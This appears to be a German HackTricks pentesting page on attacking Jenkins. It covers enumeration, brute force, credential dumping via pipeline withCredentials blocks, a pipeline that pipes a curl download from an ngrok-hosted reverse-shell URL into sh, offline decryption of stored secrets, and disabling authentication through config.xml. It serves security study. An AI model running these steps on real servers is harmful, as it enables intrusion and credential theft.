Jenkins-Sicherheit

Reading time: 13 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Jenkins ist ein Tool, das eine einfache Methode bietet, um eine Continuous Integration oder Continuous Delivery (CI/CD) Umgebung für fast jede Kombination von Programmiersprachen und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die Notwendigkeit, Skripte für einzelne Schritte zu erstellen, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.

Basic Jenkins Information

Unauthentifizierte Enumeration

Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen, wie (/people oder /asynchPeople, dies listet die aktuellen Benutzer auf), können Sie Folgendes verwenden:

msf> use auxiliary/scanner/http/jenkins_enum

Überprüfen Sie, ob Sie Befehle ausführen können, ohne sich authentifizieren zu müssen:

msf> use auxiliary/scanner/http/jenkins_command

Ohne Anmeldeinformationen können Sie im /asynchPeople/ Pfad oder /securityRealm/user/admin/search/index?q= nach Benutzernamen suchen.

Sie können möglicherweise die Jenkins-Version über den Pfad /oops oder /error abrufen.

Bekannte Schwachstellen

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Anmeldung

In den grundlegenden Informationen können Sie alle Möglichkeiten zur Anmeldung in Jenkins überprüfen:

Basic Jenkins Information

Registrierung

Sie werden in der Lage sein, Jenkins-Instanzen zu finden, die es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.

SSO-Anmeldung

Wenn SSO Funktionalität/Plugins vorhanden sind, sollten Sie versuchen, sich mit einem Testkonto (d.h. einem Test-Github/Bitbucket-Konto) in die Anwendung einzuloggen. Trick von hier.

Bruteforce

Jenkins hat keine Passwortrichtlinie und keine Minderung von Benutzernamen-Bruteforce. Es ist wichtig, Benutzer zu bruteforcen, da schwache Passwörter oder Benutzernamen als Passwörter verwendet werden können, sogar umgekehrte Benutzernamen als Passwörter.

msf> use auxiliary/scanner/http/jenkins_login

Passwort-Spraying

Verwenden Sie dieses Python-Skript oder dieses PowerShell-Skript.

IP-Whitelisting-Umgehung

Viele Organisationen kombinieren SaaS-basierte Quellcodeverwaltungssysteme (SCM) wie GitHub oder GitLab mit einer internen, selbst gehosteten CI-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, Webhook-Ereignisse von SaaS-Quellcodeanbietern zu empfangen, hauptsächlich um Pipeline-Jobs auszulösen.

Um dies zu erreichen, whitelisten Organisationen die IP-Bereiche der SCM-Plattformen, die ihnen den Zugriff auf das interne CI-System über Webhooks ermöglichen. Es ist jedoch wichtig zu beachten, dass jeder ein Konto auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es einen Webhook auslöst, was potenziell Anfragen an das interne CI-System senden kann.

Überprüfen Sie: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Interne Jenkins-Missbräuche

In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.

warning

Abhängig von dem in Jenkins konfigurierten Autorisierungsmechanismus und den Berechtigungen des kompromittierten Benutzers könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.

Für weitere Informationen überprüfen Sie die grundlegenden Informationen:

Basic Jenkins Information

Auflisten von Benutzern

Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter http://127.0.0.1:8080/asynchPeople/ auflisten.

Dumpen von Builds, um Klartextgeheimnisse zu finden

Verwenden Sie dieses Skript, um die Konsolenausgaben von Builds und Umgebungsvariablen zu dumpen, um hoffentlich Klartextgeheimnisse zu finden.

bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Diebstahl von SSH-Anmeldeinformationen

Wenn der kompromittierte Benutzer ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er diese Anmeldeinformationen stehlen, indem er einen Knoten erstellt/ändert und einen Host festlegt, der die Anmeldeinformationen aufzeichnet, ohne den Hostschlüssel zu überprüfen:

Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem globalen Anbieter (/credentials/), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im Abschnitt Geheimnisse dumpen.

RCE in Jenkins

Einen Shell-Zugang zum Jenkins-Server zu erhalten, gibt dem Angreifer die Möglichkeit, alle Geheimnisse und Umgebungsvariablen zu leaken und andere Maschinen im selben Netzwerk zu exploiten oder sogar Cloud-Anmeldeinformationen zu sammeln.

Standardmäßig wird Jenkins als SYSTEM ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer SYSTEM-Berechtigungen.

RCE Erstellen/Ändern eines Projekts

Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:

Jenkins RCE Creating/Modifying Project

RCE Ausführen eines Groovy-Skripts

Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was möglicherweise stealthier ist als das Erstellen eines neuen Projekts:

Jenkins RCE with Groovy Script

RCE Erstellen/Ändern einer Pipeline

Sie können auch RCE erhalten, indem Sie eine Pipeline erstellen/ändern:

Jenkins RCE Creating/Modifying Pipeline

Pipeline-Ausnutzung

Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.

Build-Pipelines

Pipelines können auch als Build-Mechanismus in Projekten verwendet werden. In diesem Fall kann eine Datei im Repository konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird /Jenkinsfile verwendet:

Es ist auch möglich, Pipeline-Konfigurationsdateien an anderen Orten zu speichern (zum Beispiel in anderen Repositories), um den Zugriff auf das Repository und den Zugriff auf die Pipeline zu trennen.

Wenn ein Angreifer Schreibzugriff auf diese Datei hat, kann er sie ändern und die Pipeline potenziell auslösen, ohne überhaupt Zugriff auf Jenkins zu haben.
Es ist möglich, dass der Angreifer einige Branch-Schutzmaßnahmen umgehen muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht).

Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind:

  • Pull-Request an den Hauptbranch (oder potenziell an andere Branches)
  • Push an den Hauptbranch (oder potenziell an andere Branches)
  • Aktualisierung des Hauptbranches und Warten, bis er irgendwie ausgeführt wird

note

Wenn Sie ein externer Benutzer sind, sollten Sie nicht erwarten, einen PR zum Hauptbranch des Repos eines anderen Benutzers/Organisation zu erstellen und die Pipeline auszulösen... aber wenn es schlecht konfiguriert ist, könnten Sie Unternehmen vollständig kompromittieren, nur indem Sie dies ausnutzen.

Pipeline RCE

Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um RCE durch Ändern einer Pipeline zu erhalten.

Überprüfen von Umgebungsvariablen

Es ist möglich, Klartext-Umgebungsvariablen für die gesamte Pipeline oder für spezifische Phasen zu deklarieren. Diese Umgebungsvariablen sollten keine sensiblen Informationen enthalten, aber ein Angreifer könnte immer alle Pipeline-Konfigurationen/Jenkinsfiles überprüfen:

bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, siehe die grundlegenden Informationen:

Basic Jenkins Information

Anmeldeinformationen können globalen Anbietern (/credentials/) oder spezifischen Projekten (/job/<project-name>/configure) zugeordnet werden. Daher müssen Sie, um alle zu exfiltrieren, mindestens alle Projekte kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/vergiftete Pipelines ausführen.

Es gibt ein weiteres Problem: Um ein Geheimnis innerhalb der env einer Pipeline zu erhalten, müssen Sie den Namen und den Typ des Geheimnisses kennen. Wenn Sie beispielsweise versuchen, ein usernamePassword Geheimnis als string Geheimnis zu laden, erhalten Sie diesen Fehler:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden:

bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Am Ende dieser Seite können Sie alle Arten von Anmeldeinformationen finden: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

warning

Der beste Weg, um alle Geheimnisse auf einmal zu dumpen, besteht darin, die Jenkins-Maschine zu kompromittieren (zum Beispiel einen Reverse-Shell im eingebauten Knoten auszuführen) und dann die Master-Schlüssel und die verschlüsselten Geheimnisse zu leaken und sie offline zu entschlüsseln.
Mehr dazu im Abschnitt Nodes & Agents und im Abschnitt Post Exploitation.

Trigger

Aus den Docs: Die triggers-Direktive definiert die automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind triggers möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind cron, pollSCM und upstream.

Cron-Beispiel:

bash
triggers { cron('H */4 * * 1-5') }

Überprüfen Sie andere Beispiele in den Dokumenten.

Knoten & Agenten

Eine Jenkins-Instanz kann verschiedene Agenten auf verschiedenen Maschinen haben. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen verschiedene potenzielle Cloud-Anmeldeinformationen, die gestohlen werden können, oder verschiedenen Netzwerkzugriff, der missbraucht werden könnte, um andere Maschinen auszunutzen.

Für weitere Informationen überprüfen Sie die grundlegenden Informationen:

Basic Jenkins Information

Sie können die konfigurierten Knoten in /computer/ auflisten, Sie werden normalerweise den **Built-In Node ** (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:

Es ist besonders interessant, den Built-In Node zu kompromittieren, da er sensible Jenkins-Informationen enthält.

Um anzugeben, dass Sie die Pipeline im Built-In Jenkins Node ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:

bash
pipeline {
agent {label 'built-in'}

Vollständiges Beispiel

Pipeline in einem spezifischen Agenten, mit einem Cron-Trigger, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden:

bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbiträre Dateilesen zu RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Nach der Ausnutzung

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins-Geheimnisse

Sie können die Geheimnisse auflisten, indem Sie auf /credentials/ zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei credentials.xml auflistet, aber Build-Konfigurationsdateien möglicherweise auch weitere Anmeldeinformationen enthalten.

Wenn Sie die Konfiguration jedes Projekts sehen können, können Sie dort auch die Namen der Anmeldeinformationen (Geheimnisse) sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie andere Anmeldeinformationen des Projekts.

Aus Groovy

Jenkins Dumping Secrets from Groovy

Vom Datenträger

Diese Dateien sind erforderlich, um Jenkins-Geheimnisse zu entschlüsseln:

  • secrets/master.key
  • secrets/hudson.util.Secret

Solche Geheimnisse sind normalerweise zu finden in:

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

Hier ist ein Regex, um sie zu finden:

bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins-Geheimnisse offline entschlüsseln

Wenn Sie die benötigten Passwörter zur Entschlüsselung der Geheimnisse haben, verwenden Sie dieses Skript um diese Geheimnisse zu entschlüsseln.

bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Jenkins-Geheimnisse aus Groovy entschlüsseln

bash
println(hudson.util.Secret.decrypt("{...}"))

Erstellen eines neuen Administrators

  1. Greifen Sie auf die Jenkins config.xml-Datei in /var/lib/jenkins/config.xml oder C:\Program Files (x86)\Jenkis\ zu.
  2. Suchen Sie nach dem Wort <useSecurity>true</useSecurity> und ändern Sie das Wort true in false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Starten den Jenkins-Server neu: service jenkins restart
  5. Gehen Sie jetzt erneut zum Jenkins-Portal und Jenkins wird diesmal keine Anmeldeinformationen anfordern. Navigieren Sie zu "Manage Jenkins", um das Administratorpasswort erneut festzulegen.
  6. Aktivieren Sie die Sicherheit erneut, indem Sie die Einstellungen auf <useSecurity>true</useSecurity> ändern und starten Sie Jenkins erneut neu.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks